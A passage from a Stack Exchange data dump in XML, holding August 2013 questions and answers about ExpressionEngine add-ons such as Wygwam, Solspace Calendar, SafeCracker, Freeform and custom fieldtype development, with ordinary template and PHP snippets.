ContentLicense="CC BY-SA 3.0" />
  <row Id="12821" PostTypeId="2" ParentId="12460" CreationDate="2013-08-16T17:59:30.817" Score="1" Body="&lt;p&gt;We just released &lt;a href=&quot;http://docs.pixelandtonic.com/wygwam/changelog.html#wygwam-3-1-2&quot; rel=&quot;nofollow&quot;&gt;Wygwam 3.1.2&lt;/a&gt;, which brings back the text color buttons.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-08-16T17:59:30.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12822" PostTypeId="1" CreationDate="2013-08-16T18:00:16.363" Score="2" ViewCount="57" Body="&lt;p&gt;Assets v2.1.4&#xA;ExpressionEngine v2.5.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm experiencing issues when trying to access the assets module when logged in as any user other than Super Admin. The other member group's privileges and preferences have all been set to yes so they are allowed access to the module. However, accessing Assets from Modules or an entry, none of the images are displayed. When logged in as a Super Admin, these images are available. Thanks in advance for the help.&lt;/p&gt;&#xA;" OwnerUserId="1903" LastActivityDate="2013-10-26T02:42:11.010" Title="Assets Module only grants Super Admin access" Tags="|assets|admin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12823" PostTypeId="2" ParentId="12769" CreationDate="2013-08-16T18:04:36.027" Score="1" Body="&lt;p&gt;The 'relationship' is the entry_id. So if you can import the default language, grab the entry id, then import the translated entry and assign the same entry_id it should work. I'm not sure DataGrab would do that out of the box.&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2013-08-16T18:04:36.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12824" PostTypeId="2" ParentId="12754" CreationDate="2013-08-16T18:42:32.020" Score="2" Body="&lt;p&gt;First, I highly recommend having a look at this documentation page explaining the differences between some of the more common Calendar tags. Always useful:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/docs/calendar/getting_started/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/calendar/getting_started/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In detail, if you're looking to create a &lt;strong&gt;chronological list of events/occurrences&lt;/strong&gt;, use &lt;strong&gt;&lt;code&gt;{exp:calendar:cal}&lt;/code&gt;&lt;/strong&gt;. This is the only tag that will make the necessary calculations to list your occurrences in chronological order. Each occurrence will be listed chronologically, with &lt;code&gt;{event_start_date}&lt;/code&gt; displaying the start date of each occurrence:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal &#xA;   date_range_start=&quot;1 month ago&quot; &#xA;   date_range_end=&quot;+1 month&quot;&#xA;   pad_short_weeks=&quot;n&quot;}&#xA;   {events}&#xA;       [{event_id}] {event_title} - {event_start_date format=&quot;%Y-%m-%d&quot;}&amp;lt;br /&amp;gt;&#xA;   {/events}&#xA;{/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Occurrences do not have their own occurrence_id unless the occurrence is edited in the Control Panel. By default the ID is the same as the &quot;master&quot; event_id set up in the &quot;Calendar: Events&quot; channel entry form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To print out information about a single occurrence (for a specific day, for example), a good solution is to pass three elements in the URL:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The start date&lt;/li&gt;&#xA;&lt;li&gt;The end date (if different from the start date)&lt;/li&gt;&#xA;&lt;li&gt;The &quot;master&quot; event_id&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For example, if you want to display occurrence data for 2013-08-19 (for master event &quot;123&quot;), make a URL like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://mysite.com/calendar/event/2013/08/09/123 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and use {exp:calendar:cal} to &quot;zoom in&quot; on that occurrence:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3&amp;gt;Occurrence details:&amp;lt;/h3&amp;gt;&#xA;{exp:calendar:cal &#xA;   date_range_start=&quot;{segment_3}-{segment_4}-{segment_5}&quot; &#xA;   date_range_end=&quot;{segment_3}-{segment_4}-{segment_5}&quot;&#xA;   pad_short_weeks=&quot;n&quot;&#xA;   event_id=&quot;{segment_6}&quot;&#xA;}&#xA;   {events}&#xA;       {event_title} occurrence data:&amp;lt;br /&amp;gt;&#xA;       Starts on  {event_start_date format=&quot;%Y-%m-%d&quot;}&amp;lt;br /&amp;gt;&#xA;       Ends on  {event_end_date format=&quot;%Y-%m-%d&quot;}&amp;lt;br /&amp;gt;&#xA;   {/events}&#xA;{/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course you can change the structure of the URL to be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://mysite.com/calendar/event/2013-08-09/123&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and use {exp:calendar:cal} accordingly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal &#xA;   date_range_start=&quot;{segment_3}&quot; &#xA;   date_range_end=&quot;{segment_3}&quot;&#xA;   pad_short_weeks=&quot;n&quot;&#xA;   event_id=&quot;{segment_4}&quot;&#xA;}&#xA;// the rest of the code...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-08-16T18:42:32.020" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12825" PostTypeId="2" ParentId="12820" CreationDate="2013-08-16T18:58:51.953" Score="1" Body="&lt;p&gt;That's because of your index.php isn't included in your language changer link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://kanuk.com/dev/index.php/Collection/femmes/manteaux-chauds&quot; rel=&quot;nofollow&quot;&gt;http://kanuk.com/dev/index.php/Collection/femmes/manteaux-chauds&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;goes to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://kanuk.com/dev/fr/Collection/femmes/manteaux-chauds&quot; rel=&quot;nofollow&quot;&gt;http://kanuk.com/dev/fr/Collection/femmes/manteaux-chauds&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which is missing the index.php element:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://kanuk.com/dev/fr/&quot; rel=&quot;nofollow&quot;&gt;http://kanuk.com/dev/fr/&lt;/a&gt;&lt;strong&gt;index.php&lt;/strong&gt;/Collection/femmes/manteaux-chauds/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either modify your htaccess so it &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&quot; rel=&quot;nofollow&quot;&gt;removes the index.php&lt;/a&gt; (recommended), or change the links in the language changer so they generate the URL with index.php in it.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-08-16T18:58:51.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12826" PostTypeId="1" CreationDate="2013-08-16T19:52:10.903" Score="1" ViewCount="41" Body="&lt;p&gt;I am trying to create a fieldtype that requires comparison to it's previous data. Any idea how to get this data in the &lt;code&gt;save()&lt;/code&gt; function? I tried using &lt;code&gt;$this-&amp;gt;field_data&lt;/code&gt; but that just returns the &quot;new&quot; data submitted to the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To provide a tangible example, what I am trying to do is take the prior data and store it with the new data as an array so my &lt;code&gt;save()&lt;/code&gt; function looks like this (if $this-&gt;field_data worked this should have):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function save($data) &#xA;{ &#xA;    if (!empty($this-&amp;gt;field_data)) $data = json_decode($this-&amp;gt;field_data, TRUE);&#xA;    $data[] = $data;&#xA;&#xA;&#xA;    return json_encode($data); &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="565" LastActivityDate="2013-10-15T20:58:18.693" Title="Get old fieldtype data to prepend with new?" Tags="|add-on-development|fieldtype|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12827" PostTypeId="1" CreationDate="2013-08-16T20:04:49.997" Score="2" ViewCount="173" Body="&lt;p&gt;I have a strange issue I can't find reference to anywhere on Google!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following code allows me to display a Safecracker form to edit an entry. When I click save I get the error below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker&#xA;    channel=&quot;member_news&quot;&#xA;    return=&quot;members/profile#tab3&quot;&#xA;    author_only=&quot;yes&quot;&#xA;    form_class=&quot;uniform&quot;&#xA;    error_handling=&quot;inline&quot;&#xA;    entry_id=&quot;{segment_4}&quot;&#xA;}&#xA;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;title&quot;&amp;gt;Title&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input name=&quot;title&quot; type=&quot;text&quot; value=&quot;{title}&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;title&quot;&amp;gt;Summary&amp;lt;/label&amp;gt;&#xA;        {field:member_news_summary}&#xA;    &amp;lt;p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;title&quot;&amp;gt;Content&amp;lt;/label&amp;gt;&#xA;        {field:member_news_content}&#xA;    &amp;lt;p&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;&#xA;{/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The form you submitted contained the following errors&#xA;&#xA;safecracker_author_only&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I find this strange because I am the author of the entry, it wont even show the edit form to other entries I am not the author of, so author_only=&quot;yes&quot; seems to be working with that respect. But clicking save its as if it then thinks I am not the author. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Removing author_only=&quot;yes&quot; will allow me to edit AND save, any form, which is obviously bad. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am not sure what the issue is. Using v 2.6.1&lt;/p&gt;&#xA;" OwnerUserId="381" LastEditorUserId="381" LastEditDate="2013-08-16T20:27:35.060" LastActivityDate="2013-08-20T03:56:30.383" Title="author_only=&quot;yes&quot; shows edit form, but wont allow save, error &quot;safecracker_author_only&quot;" Tags="|safecracker|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12828" PostTypeId="2" ParentId="12826" CreationDate="2013-08-16T20:12:13.577" Score="0" Body="&lt;p&gt;The only way to get the old data is to query for it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//are we saving a new entry or updating an existing?&#xA;$entry_id = ee()-&amp;gt;input-&amp;gt;get('entry_id');&#xA;&#xA;if ($entry_id)&#xA;{&#xA;  //get the old data from the database&#xA;  $query = ee()-&amp;gt;db-&amp;gt;select('field_id_'.$this-&amp;gt;field_id)&#xA;                   -&amp;gt;where('entry_id', $entry_id)&#xA;                   -&amp;gt;get('channel_data');&#xA;&#xA;  $old_data = $query-&amp;gt;row('field_id_'.$this-&amp;gt;field_id);&#xA;&#xA;  $query-&amp;gt;free_result();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-08-16T20:12:13.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12829" PostTypeId="1" AcceptedAnswerId="12895" CreationDate="2013-08-16T20:14:29.743" Score="1" ViewCount="82" Body="&lt;p&gt;We are utilizing Solspace Calendar, and are allowing Guests to post calendar events (that post as pending), but ONLY want them to be able to post to ONE of the available calendars (we have 4).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the widget displays all 4 calendars...how can we limit to only show the single &quot;Public Events&quot; calendar within this SafeCracker form?&lt;/p&gt;&#xA;" OwnerUserId="1343" LastActivityDate="2013-08-19T17:16:48.797" Title="SafeCracker Calendar (Solspace) Entry - Limit Shown Calendars" Tags="|safecracker|solspace|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12830" PostTypeId="1" CreationDate="2013-08-16T20:14:35.240" Score="1" ViewCount="59" Body="&lt;p&gt;I'm looking for a way to add via Solspace User to a mailchimp list and I found &lt;a href=&quot;http://devot-ee.com/add-ons/subscriber&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/subscriber&lt;/a&gt; and not sure if it works. Wes told me he hasn't tried. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="102" LastActivityDate="2013-08-19T17:08:09.287" Title="Wes Baker's &quot;Subscriber&quot; works with Solspace' User?" Tags="|solspace|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12831" PostTypeId="2" ParentId="12826" CreationDate="2013-08-16T20:33:05.317" Score="1" Body="&lt;p&gt;This solution uses the channel_entries model:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function save($data) &#xA;{&#xA;    if (ee()-&amp;gt;input-&amp;gt;post('entry_id'))&#xA;    {&#xA;        // look up old data&#xA;        ee()-&amp;gt;load-&amp;gt;model('channel_entries_model');&#xA;        $query = $this-&amp;gt;EE-&amp;gt;channel_entries_model&#xA;            -&amp;gt;get_entry(&#xA;                ee()-&amp;gt;input-&amp;gt;post('entry_id'), &#xA;                ee()-&amp;gt;input-&amp;gt;post('channel_id')&#xA;            );&#xA;        $result = $query-&amp;gt;row_array();&#xA;&#xA;        // if exists set old data &#xA;        if ($query-&amp;gt;num_rows() &amp;gt; 0) $return = json_decode($result[$this-&amp;gt;field_name], TRUE);&#xA;&#xA;        // append new data&#xA;        $return[] = $data;&#xA;&#xA;        return json_encode($return);&#xA;    }&#xA;&#xA;    return &quot;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="565" LastEditorUserId="565" LastEditDate="2013-08-16T20:38:31.733" LastActivityDate="2013-08-16T20:38:31.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12832" PostTypeId="1" CreationDate="2013-08-16T20:48:06.103" Score="1" ViewCount="73" Body="&lt;p&gt;In Expression Engine, I have 'Require Member Account Activation?' set to 'Manual activation by administrator', but I would like to send them an email on registration.  I'm using Solspace User for registration ( exp:user:register ), and I was thinking the simplest solution would be to just send an email from the 'return' page.  But they aren't logged in at that point, so I don't have their email address.  Any ideas on a way to get the users email address on the Thank You return page?&lt;/p&gt;&#xA;" OwnerUserId="236" LastActivityDate="2013-10-18T17:58:48.773" Title="Using Solspace User extension, can I pass the email address of the user to the 'return' page?" Tags="|solspace|solspace-user|registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12833" PostTypeId="1" CreationDate="2013-08-16T20:50:54.697" Score="2" ViewCount="105" Body="&lt;p&gt;I'm having some trouble where my &lt;code&gt;display_fields()&lt;/code&gt; function is converting my json encoded data from &lt;code&gt;$data&lt;/code&gt; into &lt;code&gt;htmlentities()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function display_field($data)&#xA;{&#xA;    error_log($data);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Return:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[{&amp;amp;quot;approved&amp;amp;quot;:true}]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Stored in database as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[{&quot;approved&quot;:true}]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="565" LastActivityDate="2014-08-19T18:29:30.790" Title="Fieldtype display_field() function converting to htmlentities()?" Tags="|add-on-development|fieldtype|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12834" PostTypeId="1" CreationDate="2013-08-16T21:07:17.797" Score="1" ViewCount="75" Body="&lt;p&gt;I'm using freeform 3.x and I have a series of input fields that are like such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;order[]&quot; title=&quot;Unique Title 1&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;order[]&quot; title=&quot;Unique Title 2&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;order[]&quot; title=&quot;Unique Title 3&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;order[]&quot; title=&quot;Unique Title 4&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;order[]&quot; title=&quot;Unique Title 5&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Essentially, this is a long list which is published by a channel, thus why I'm using &quot;order[]&quot; and not creating individual form names in Freeform. I have a bit of jQuery that will grab the title and append it to the value which gives me more information in my email notification along with user input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, for every input field that I'm using the email template notification via freeform puts a space in there. Not every input field is filled out. I have a long list. So my email notification looks something like below, which is no good as my list will be hundreds of items, meaning hundreds of empty spaces. Can freeform be modded somehow to ignore line-breaks or anything to prevent this from happening? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Salmon 1 Available - 56&#xA;&#xA;&#xA;Gummi Fish preorder - 55&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;shrimp preorder - 65&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1907" LastActivityDate="2013-08-16T21:07:17.797" Title="Freeform 3.x and an array causing blank lines in email template" Tags="|email|solspace-freeform|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12835" PostTypeId="2" ParentId="12808" CreationDate="2013-08-16T23:45:43.557" Score="1" Body="&lt;p&gt;Are the columns the script is trying to add to exp_member_groups already present, perhaps from an earlier aborted attempt at an upgrade?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like that was the issue when someone posted &lt;a href=&quot;http://ellislab.com/forums/viewthread/236878/&quot; rel=&quot;nofollow&quot;&gt;a similar question on EllisLab forum&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You mentioned that you restored the files, but did you restore the database as well?&lt;/p&gt;&#xA;" OwnerUserId="210" LastActivityDate="2013-08-16T23:45:43.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12836" PostTypeId="1" CreationDate="2013-08-17T00:13:54.270" Score="1" ViewCount="81" Body="&lt;p&gt;I recently purchased and installed WYGWAM 3.1.1 and noticed that in the embed feature is missing. 5 o'clock on a Friday might have something to do with it, but I can't seem to find it.  I would rather not have my client click on the &quot;Source&quot; button to add such things as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be great!&lt;/p&gt;&#xA;" OwnerUserId="990" LastActivityDate="2013-09-16T14:42:42.643" Title="Missing embed tool in Wygwam?" Tags="|wygwam|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12837" PostTypeId="2" ParentId="12783" CreationDate="2013-08-17T00:14:45.710" Score="1" Body="&lt;p&gt;Gah.  A restart fixed it :-|  Thank you!&lt;/p&gt;&#xA;" OwnerUserId="990" LastActivityDate="2013-08-17T00:14:45.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12838" PostTypeId="2" ParentId="12038" CreationDate="2013-08-17T03:37:12.807" Score="1" Body="&lt;p&gt;Try adding process=&quot;end&quot; to your get tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get name=&quot;field_errors&quot; process=&quot;end&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-08-17T03:37:12.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12839" PostTypeId="1" CreationDate="2013-08-17T06:06:38.460" Score="1" ViewCount="116" Body="&lt;p&gt;I'm in the the throws of building a site that is based purely on membership. Everything is sweet with pretty much all activity (post, comment, edit, delete etc) NOT requiring anyone to go to the CP it's all done with a mixture of modules (User, Messaging + Safecraker).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm at the &quot;signup&quot; process and I'd like to make it a tad simpler for admins to promote OR ban new signups WITHOUT going to the CP to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was planning on:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;User signs up and goes into &quot;pending&quot;&lt;/li&gt;&#xA;&lt;li&gt;Redirected to FreeForm page where they complete a little &quot;about me&quot; form and include their signup name in hidden field. This is instead of a new SAFE entry/page.&lt;/li&gt;&#xA;&lt;li&gt;Admins notified, go to a special page and view applications (freeform entries)&lt;/li&gt;&#xA;&lt;li&gt;Read the entry and if they sound legitimate, &lt;em&gt;somehow&lt;/em&gt; using a select dropdown or checkbox, hit either &quot;promote&quot; or &quot;deny&quot; which alters the member member_group to base member or banned.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That was the plan but am open to ways where a NON SA can alter members member_group just like they can in the CP with the right privileges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The reason for a Freeform post is to further validate their viability as members not spammers.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solspace User allows editing of member_group but only by SA but I dont want to give SA to a group of peeps that ostensibly dont need it when 99% of the site is controlled via front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could work it in reverse and have users fill out a Freeform with details then send them an invite key BUT Solspace User &quot;keys&quot; need to be generated by SA :(&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-08-17T06:06:38.460" Title="Change Member Group by non SA" Tags="|solspace-user|member-management|signup|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12840" PostTypeId="2" ParentId="12571" CreationDate="2013-08-17T06:13:28.033" Score="0" Body="&lt;p&gt;I ended up using Stash. Stash records each entry into a stash_list with an extra item that checks if there is at least one comment (if there is it must be newer then the entry_date) if there are no comments then the entry_date is the value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Save the result of the if if:else as Unix Timestamp and then use stash:get_list and orderby the Unix Timestamp Var :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:activity_date}&#xA;{if comment_total &amp;gt; 0}{recent_comment_date format=&quot;U%&quot;}{if:else}{entry_date format=&quot;%U&quot;}{/if}&#xA;{/stash:activity_date}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yet another reason to use Stash :)&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-08-17T06:13:28.033" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12841" PostTypeId="2" ParentId="12836" CreationDate="2013-08-17T08:38:01.910" Score="0" Body="&lt;p&gt;Embed what?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to Add-ons -&gt; Fieldtypes -&gt; Wygwam, you'll see Editor configurations. Select Full or Basic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BP3I0.png&quot; alt=&quot;Wygwam Toolbar&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Drag and drop the controls you want or don't want from/to the toolbar. click on an item to disable/enable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ensure that your field is set to the appropriate configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3i2mx.png&quot; alt=&quot;Wygwam Field options&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-08-17T08:38:01.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12842" PostTypeId="1" CreationDate="2013-08-17T12:44:54.820" Score="2" ViewCount="133" Body="&lt;p&gt;I have a webstore which has products that add a different handling charge to the shipping if the user selects 'registered mail' shipping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I set the handling charges to 0 when a user selects a particular shipping method (Pick up at store)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&#xA;Rin&lt;/p&gt;&#xA;" OwnerUserId="1807" LastActivityDate="2013-09-18T09:45:29.663" Title="Expresso: Store - 0 handling charges when selecting a particular shipping method" Tags="|expresso-store|shipping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12843" PostTypeId="2" ParentId="12836" CreationDate="2013-08-17T13:46:55.673" Score="1" Body="&lt;p&gt;If you’re referring to Embed Media, it’s still there, it just has a different icon than it did in Wgywam 2 (as with all the other buttons). It’s the one that looks like a chunk of a video reel’s tape.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-08-17T13:46:55.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12844" PostTypeId="1" AcceptedAnswerId="12849" CreationDate="2013-08-17T17:53:10.920" Score="1" ViewCount="194" Body="&lt;p&gt;I'm trying to sell subscriptions (yearly memberships) using the Simple Commerce module. &#xA;I've set-up everything on EE side and on PayPal's (including the Instant Notification URL). Since I'm still testing everything, I'm not using encryption. Also I'm not using sandbox, but doing tests with 0,01p payments using real paypal accounts - my business and personal accounts, both verified. My business account is set to accept payments automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the payment is received, a first instant message to notify the subscription is sent successfully. Then PayPal tries to send another ipn, to notify the payment, but this one gets stuck with a &quot;error 500&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It took me a while to get the first IPN, because one of the 3rd party extensions (VZ Bad Behavior, just in case someone else is experiencing the same problem) didn't allow paypal to hit the url. But if the first IPN gets through, why not the 2nd one? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I'm using Expresso Store on the same install, and never had a problem with IPNs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion would be much appreciated.   &lt;/p&gt;&#xA;" OwnerUserId="710" LastActivityDate="2013-08-18T08:37:02.697" Title="Simple Commerce - IPN not sent" Tags="|ecommerce|paypal|paypal-express-checkout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12845" PostTypeId="2" ParentId="12663" CreationDate="2013-08-17T20:22:40.057" Score="3" Body="&lt;p&gt;I'm not sure what about your example doesn't work, but you don't need your link to contain so much information if you don't need it to. Simply using the longitude / latitude is enough to get your location up in Google Maps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example &lt;a href=&quot;https://maps.google.com/maps?q=51.505591,-0.075402&quot; rel=&quot;nofollow&quot;&gt;Tower Bridge, London&lt;/a&gt; can be linked just using:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;https://maps.google.com/maps?q=51.505591,-0.075402&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So with your example it'd be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;{the-map}&#xA;&amp;lt;a href=&quot;http://maps.google.com/maps?q={latitude},{longitude}&quot; target=&quot;_blank&quot;&amp;gt;&#xA;Full-size Google Map&amp;lt;/a&amp;gt;&#xA;{/the-map}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If after all that, it's your MX Google Map tags that aren't outputting correctly then this will be of no help what so ever!&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2013-08-17T20:22:40.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12846" PostTypeId="1" AcceptedAnswerId="12856" CreationDate="2013-08-17T20:33:11.993" Score="2" ViewCount="57" Body="&lt;p&gt;I have looked at the docs for 2.6, but am unable to find an explanation for how to set up multiple fieldtypes in a single package. Can anyone enlighten - I really need this ability.&lt;/p&gt;&#xA;" OwnerUserId="114" LastActivityDate="2013-08-18T12:37:32.027" Title="Where to find dev documentation for multiple fieldtypes" Tags="|add-on-development|fieldtype|development|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
